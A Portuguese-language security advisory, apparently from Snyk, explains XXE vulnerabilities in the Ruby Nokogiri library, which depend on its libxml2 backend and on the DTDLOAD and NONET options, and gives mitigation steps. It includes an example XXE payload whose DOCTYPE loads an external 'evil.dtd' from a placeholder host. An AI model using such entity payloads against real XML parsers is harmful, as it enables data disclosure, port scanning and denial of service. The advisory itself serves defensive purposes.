Corrigindo vulnerabilidades XXE no Nokogiri

Recentemente, adicionamos ao nosso banco de dados de vulnerabilidades duas vulnerabilidades de alta gravidade de Entidades Externas XML (XXE) encontradas na biblioteca Nokogiri. Esta publicação explica como a vulnerabilidade funciona e aborda como corrigir a exploração na sua aplicação.

Nokogiri é uma biblioteca muito popular para analisar e extrair dados de documentos XML, SAX, Reader ou HTML. Ela usa bibliotecas como libxml2 e libxslt para permitir que você analise esses documentos facilmente usando XPath ou até seletores CSS3.

Entenda os ataques de Entidades Externas XML

Para analisar uma string como XML, primeiro passe-a para o Nokogiri usando o método XML:

1    xml = <<-EOX 
2    <?xml version="1.0" encoding="UTF-8"?> 
3    <!DOCTYPE root> 
4    EOX` 
5
6    doc = Nokogiri::XML(xml) 
7    puts doc.to_xml 
8
9    #outputs # --- xml: --- 
10    # --- xml: ---
11    # <?xml version="1.0" encoding="UTF-8"?> 
12    # <!DOCTYPE root>

O padrão XML oferece suporte a algo chamado entidades externas, que podem ser definidas por meio de um link. Durante a análise de um documento XML, o analisador pode fazer uma requisição a esses links e incluir o conteúdo do URI especificado no documento XML. Por exemplo, podemos incluir uma entidade externa localizada em http://0.0.0.0:8000/evil.dtd:

1xml = <<-EOX 
2<?xml version="1.0" encoding="UTF-8"?> 
3<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]> 
4EOX

Se um analisador XML estiver configurado para incluir entidades externas, ele abre caminho para que invasores executem um ataque de Entidades Externas XML injetando uma entidade maliciosa. As consequências podem ser graves: ataques XXE podem causar negação de serviço, varredura de portas e exposição de informações confidenciais.

A maneira mais segura de evitar um ataque XXE é configurar o analisador XML para não incluir DTDs externos. Infelizmente, a biblioteca subjacente que o Nokogiri usa para analisar XML (libxml2) pode deixar as aplicações totalmente expostas a esse ataque.

A vulnerabilidade

Nas versões do Nokogiri anteriores à 1.5.4, ao tentar analisar uma string com um XXE definido, o Nokogiri faz, por padrão, uma requisição para qualquer XXE definido. Portanto, se tentarmos analisar a string mencionada anteriormente, será feita uma requisição para http://0.0.0.0:8080 em busca de evil.dtd.

As versões do Nokogiri posteriores à 1.5.4 incluem algumas proteções para limitar a exposição à vulnerabilidade. O Nokogiri oferece duas opções relacionadas a esse ataque. A primeira é a opção DTDLOAD, que define se o Nokogiri deve tentar carregar os DTDs encontrados durante a análise de XML.

A outra opção é NONET. Se a opção NONET estiver ativada, nenhum documento desconhecido poderá ser carregado pela rede.

Nas versões do Nokogiri posteriores à 1.5.4, a configuração padrão define a opção DTDLOAD como false e a opção NONET como true. Em outras palavras, por padrão, o Nokogiri não tenta carregar nenhum DTD definido nem carregar documentos pela rede — o que significa que a vulnerabilidade não pode ser explorada.

No entanto, se alguém definir a opção DTDLOAD como true e também definir a opção NONET como false, a vulnerabilidade poderá ser explorada por invasores.

Como corrigir

Os problemas foram descobertos pela equipe de pesquisa de segurança da Snyk e comunicados ao Nokogiri em 11 de janeiro. A equipe do Nokogiri avaliou o problema rapidamente, mas, infelizmente, nesse caso, o Nokogiri está de mãos atadas. O problema não está no próprio Nokogiri, mas na biblioteca subjacente libxml2. O Nokogiri aguarda a correção do problema pela equipe responsável para poder atualizar a biblioteca.

Enquanto isso, se você descobrir que seu projeto inclui essa vulnerabilidade, há algumas medidas que pode tomar para reduzir o risco.

Primeiro, verifique se você está usando a versão 1.5.4 ou posterior do Nokogiri. Como explicamos, as versões anteriores à 1.5.4 são vulneráveis por padrão.

Depois de atualizar o Nokigiri, confira novamente suas configurações para garantir que você não definiu DTDLOAD como true e NONET como false. Por padrão, a configuração já deve estar correta, mas, se você alterou esses valores, seu projeto está vulnerável. Vale lembrar que você pode definir uma opção ou outra — a vulnerabilidade só fica exposta quando ambas são configuradas.

Tomar essas medidas agora protegerá você contra a vulnerabilidade. Se você estiver monitorando seu projeto, avisaremos quando uma correção estiver disponível.